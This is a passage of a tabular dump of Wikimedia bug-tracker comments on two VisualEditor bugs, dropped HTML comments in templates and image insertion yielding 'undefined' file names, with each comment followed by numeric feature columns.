However, this bug is specifically about the HTML comments that are dropped, ""the name of a location map as per URL and ""the position of the pushpin label: left, right, top, bottom, none"".  These comments often have important messages to other editors, so they can not be stripped.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL"
335980,VisualEditor: HTML comments are dropped from transclusion calls,"verified in betalabs and test2 - HTML comments are preserved for both cases  - generally and, specifically, in transclusions.",,,1417635932,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,0.8260869565217391,"verified in betalabs and test2 - HTML comments are preserved for both cases  - generally and, specifically, in transclusions."
335978,VisualEditor: HTML comments are dropped from transclusion calls,"verified in betalabs - HTML comments are preserved both - generally and, specifically, in transclusions.",,,1417635694,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.8333333333333334,"verified in betalabs - HTML comments are preserved both - generally and, specifically, in transclusions."
239675,VisualEditor: HTML comments are dropped from transclusion calls,"That's a separate bug, will raise as such.",,,1372002624,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,1.0,"That's a separate bug, will raise as such."
239668,VisualEditor: HTML comments are dropped from transclusion calls,"Not sure if it's the same thing, but I just did this today http://it.wikipedia.org/w/index.php?title=Google&diff=59622535&oldid=59377529 and it discarded commented text which, as noted above, should be there for a reason :)",,,1371996558,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,9.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,9.0,3.0,6.0,12.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.9117647058823529,"Not sure if it's the same thing, but I just did this today URL and it discarded commented text which, as noted above, should be there for a reason :)"
239661,VisualEditor: HTML comments are dropped from transclusion calls,"This is now fixed; as an example, see https://en.wikipedia.org/w/index.php?title=Bleak_House&diff=560362551&oldid=560338958 as an edit made with VisualEditor that leaves the comments in the templates as they were.",,,1371511467,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,11.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,18.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,3.8214285714285716,0.8571428571428571,"This is now fixed; as an example, see URL as an edit made with VisualEditor that leaves the comments in the templates as they were."
239656,VisualEditor: HTML comments are dropped from transclusion calls,Can't reproduce in master. The comment appears in the template dialog and can be edited. With experimental code disabled the template is completely untouched.,,,1371465156,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,4.0,4.0,4.0,7.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.821428571428571,0.8214285714285714,Can't reproduce in master. The comment appears in the template dialog and can be edited. With experimental code disabled the template is completely untouched.
239650,VisualEditor: HTML comments are dropped from transclusion calls,"(In reply to comment #3)
> See also bug 49655 and this (where Ssastry discusses it): 
> Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox

The place for ""see also"" bugs is the ""see also"" section at the top right of the bug - have put it there. :-) Bug 42124 is not relevant.",,,1371425926,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,10.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,6.0,0.0,4.0,0.0,2.0,10.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9375,0.7708333333333334,"(In reply to comment #3)
QUOTE
QUOTE

The place for ""see also"" bugs is the ""see also"" section at the top right of the bug - have put it there. :-) Bug 42124 is not relevant."
239647,VisualEditor: HTML comments are dropped from transclusion calls,"[[Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox]]

See also bug 42124.",,,1371424680,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.6,0.8666666666666667,"[[Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox]]

See also bug 42124."
239642,VisualEditor: HTML comments are dropped from transclusion calls,"See also bug 49655 and this (where Ssastry discusses it): 
Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox",,,1371424467,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,6.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.166666666666667,1.0,"See also bug 49655 and this (where Ssastry discusses it): 
Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox"
239637,VisualEditor: HTML comments are dropped from transclusion calls,"Confirm that these are being re-broken, but seemingly online in template calls (where we can't alienate them?). Ed, can you confirm at your end if this is a DM issue or a Parsoid one?

I was able to edit around an HTML comment without altering it inline (as expected) in https://www.mediawiki.org/w/index.php?title=VisualEditor:TestComments&diff=712245&oldid=712244 - but changes to the HTML comment in the second template fail to be detected as a change (?). Note that the first template can't be edited as the preceding block comment it created as an mw:Placeholder (per bug 47403) and (wrongly?) merged with the following transclusion.",,,1371420455,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.5,1.5,3.5,1.0,0.0,0.0,0.5,5.0,1.5,0.0,0.0,0.0,1.0,0.0,3.5,12.5,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,1.5,1.5,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.5,0.0,0.0,1.5,9.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,7.0,3.5,6.5,2.5,2.5,8.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,4.0,12.5,3.0,2.5,0.0,0.0,4.0,0.0,0.5,3.0,0.5,1.5,0.0,0.0,0.0,3.667636171337916,0.8203331570597567,"Confirm that these are being re-broken, but seemingly online in template calls (where we can't alienate them?). Ed, can you confirm at your end if this is a DM issue or a Parsoid one?

I was able to edit around an HTML comment without altering it inline (as expected) in URL - but changes to the HTML comment in the second template fail to be detected as a change (?). Note that the first template can't be edited as the preceding block comment it created as an mw:Placeholder (per bug 47403) and (wrongly?) merged with the following transclusion."
239631,VisualEditor: HTML comments are dropped from transclusion calls,"At the time of this discussion by VE developers, 
[[Wikipedia:VisualEditor/Feedback/Archive 2013 05#General_observations]], hidden notes/comments were preserved. Now all hidden HTML notes on a page (or at least those in templates) are removed when the page is edited by VE.

Page edit notices and section edit notices will not work as a replacement since hidden notes can be instructional for specific references, tables, infoboxes, navboxes, sentences, paragraphs, etc.. Page notices and edit notices are for a whole page or section. For more info: 
[[Wikipedia:VisualEditor/Feedback#HTML_notes]] - or wherever it ends up later in the archives. 

If HTML notes are going to be replaced by some new hidden notation system, they still need to be preserved in the meantime. They should be treated similarly to how VE handles tables, infoboxes, and other stuff that VE can not currently edit. VE should not be doing anything within templates. Templates are too complex for VE to meddle with in the slightest way. VE should not even remove spaces in templates. 

If VE ends up with another hidden note tool, then a bot may have to go around to convert all existing hidden HTML notes to the new VE tool. But why bother? 

Why not keep the HTML notes, and use some kind of popup tooltip in VE that pops up when one puts the mouse cursor over a hidden note icon in VE edit mode? So one can read the hidden note in the popup. Kind of like how reference tooltips work.",,,1371269621,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-3,,1.25,0.25,0.0,1.5,1.25,3.0,0.75,0.0,0.0,0.5,2.75,0.0,0.25,0.0,0.0,0.0,0.0,6.75,10.5,0.25,1.5,0.75,0.25,0.0,0.25,0.5,0.0,0.25,1.0,0.25,0.0,3.0,3.5,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.75,0.5,0.25,0.25,0.0,0.0,15.5,0.25,0.5,0.0,0.25,0.25,0.0,0.0,0.0,0.5,0.0,0.25,1.0,0.0,0.0,0.25,0.0,0.0,4.25,2.75,9.5,2.75,2.25,6.25,0.0,0.0,0.0,0.0,4.5,0.25,0.25,0.0,1.5,10.5,6.0,0.75,0.0,0.0,1.5,0.0,2.75,1.25,0.0,0.75,0.25,0.5,1.75,3.993421052631579,0.7467105263157895,"At the time of this discussion by VE developers, 
[[Wikipedia:VisualEditor/Feedback/Archive 2013 05#General_observations]], hidden notes/comments were preserved. Now all hidden HTML notes on a page (or at least those in templates) are removed when the page is edited by VE.

Page edit notices and section edit notices will not work as a replacement since hidden notes can be instructional for specific references, tables, infoboxes, navboxes, sentences, paragraphs, etc.. Page notices and edit notices are for a whole page or section. For more info: 
[[Wikipedia:VisualEditor/Feedback#HTML_notes]] - or wherever it ends up later in the archives. 

If HTML notes are going to be replaced by some new hidden notation system, they still need to be preserved in the meantime. They should be treated similarly to how VE handles tables, infoboxes, and other stuff that VE can not currently edit. VE should not be doing anything within templates. Templates are too complex for VE to meddle with in the slightest way. VE should not even remove spaces in templates. 

If VE ends up with another hidden note tool, then a bot may have to go around to convert all existing hidden HTML notes to the new VE tool. But why bother? 

Why not keep the HTML notes, and use some kind of popup tooltip in VE that pops up when one puts the mouse cursor over a hidden note icon in VE edit mode? So one can read the hidden note in the popup. Kind of like how reference tooltips work."
51596,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"Adding a file/media fails with wrong wikicode.

This wikicode is created, see URL:

[[undefined|link=https://commons.wikimedia.org/wiki/File:CV.03326.jpg|right|framed|424x275px]]

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://test.wikipedia.org/w/index.php?title=User:Raymond/image&diff=174461&oldid=174460",Unbreak Now!,100.0,1371244680,1371682009.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-2z2izcavd5te3dkswczw,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,3.450980392156863,0.5490196078431373,"Adding a file/media fails with wrong wikicode.

This wikicode is created, see URL:

[[undefined|link=URL

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL"
238648,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),*** Bug 50021 has been marked as a duplicate of this bug. ***,,,1372002331,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50021 has been marked as a duplicate of this bug. ***
238642,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"(In reply to comment #10)
> What about commend 5 and comment 6?

Sorry, yes; created as bug 49849.",,,1371690785,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,10.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.85,1.0,"(In reply to comment #10)
QUOTE

Sorry, yes; created as bug 49849."
238635,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),What about commend 5 and comment 6?,,,1371684547,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,What about commend 5 and comment 6?
238628,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"This is partially fixed in gerrit 69581 which we will deploy this afternoon.

However, the link issue is still not fixed, thus (in the example in comment 0) we will now get:

[[File:CV.03326.jpg|link=https://commons.wikimedia.org/wiki/File:CV.03326.jpg|right|framed|424x275px]]

… instead of:

[[File:CV.03326.jpg|right|framed|424x275px]]

… which is bad, but nothing like as terrible as it was. Forking that off to a new bug, bug 49844, and marking this as fixed.",,,1371682009,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,2.0,1.0,3.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,0.0,2.0,0.0,9.0,10.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,9.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,10.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,5.0,3.619565217391304,0.6413043478260869,"This is partially fixed in gerrit 69581 which we will deploy this afternoon.

However, the link issue is still not fixed, thus (in the example in comment 0) we will now get:

[[File:CV.03326.jpg|link=URL

… instead of:

[[File:CV.03326.jpg|right|framed|424x275px]]

… which is bad, but nothing like as terrible as it was. Forking that off to a new bug, bug 49844, and marking this as fixed."
238619,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"From bug 49829 comment 0:

| This is the DOM returned by the VE after inserting a new thumbnail:
| <figure typeof=""mw:Image/Frame"" class="" mw-halign-right"">
| <a rel=""mw:thumb"" href=""http://commons.wikimedia.org/wiki/File:Apples.jpg"">
| <img src=""http://upload.wikimedia.org/wikipedia/commons/thumb/e/ee/Apples.jpg/
|   100px-Apples.jpg"" width=""100"" height=""150"" resource=""undefined""></a></figure>
| 
| Note the 'undefined' in the resource attribute. The resource is the image
| target, so we notice that the link and the image named 'undefined' differ and
| serialize as
| [[undefined|link=http://commons.wikimedia.org/wiki/File:Apples.jpg|thumb]].",,,1371659496,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,2.0,3.5,0.0,0.0,0.0,1.0,0.0,3.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,16.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.5,5.5,1.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,4.0,5.5,0.0,8.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,5.0,3.6657592256503326,0.6518451300665458,"From bug 49829 comment 0:

| This is the DOM returned by the VE after inserting a new thumbnail:
| <figure typeof=""mw:Image/Frame"" class="" mw-halign-right"">
| <a rel=""mw:thumb"" href=""URL
| <img src=""URL
|   100px-Apples.jpg"" width=""100"" height=""150"" resource=""undefined""></a></figure>
| 
| Note the 'undefined' in the resource attribute. The resource is the image
| target, so we notice that the link and the image named 'undefined' differ and
| serialize as
| [[undefined|link=URL"
238613,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),*** Bug 49829 has been marked as a duplicate of this bug. ***,,,1371659407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49829 has been marked as a duplicate of this bug. ***
238608,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"**winne2i** wrote:

The same on plwiki: https://pl.wikipedia.org/w/index.php?diff=36790309
(""prawo"" means ""right"" in polish, ""ramka"" means ""frame"")",,,1371648653,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.588235294117647,0.6470588235294118,"**winne2i** wrote:

The same on plwiki: URL
(""prawo"" means ""right"" in polish, ""ramka"" means ""frame"")"
238601,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"(In reply to comment #3)
> I get the same type of error:
> <http://pt.wikipedia.org/w/index.
> php?title=PLoS_ONE&diff=36119075&oldid=34872658>

On this example there is also something else: I think the code ""direita,right"" should be just ""direita"" or ""right"".",,,1371640850,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,5.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1136363636363638,0.75,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

On this example there is also something else: I think the code ""direita,right"" should be just ""direita"" or ""right""."
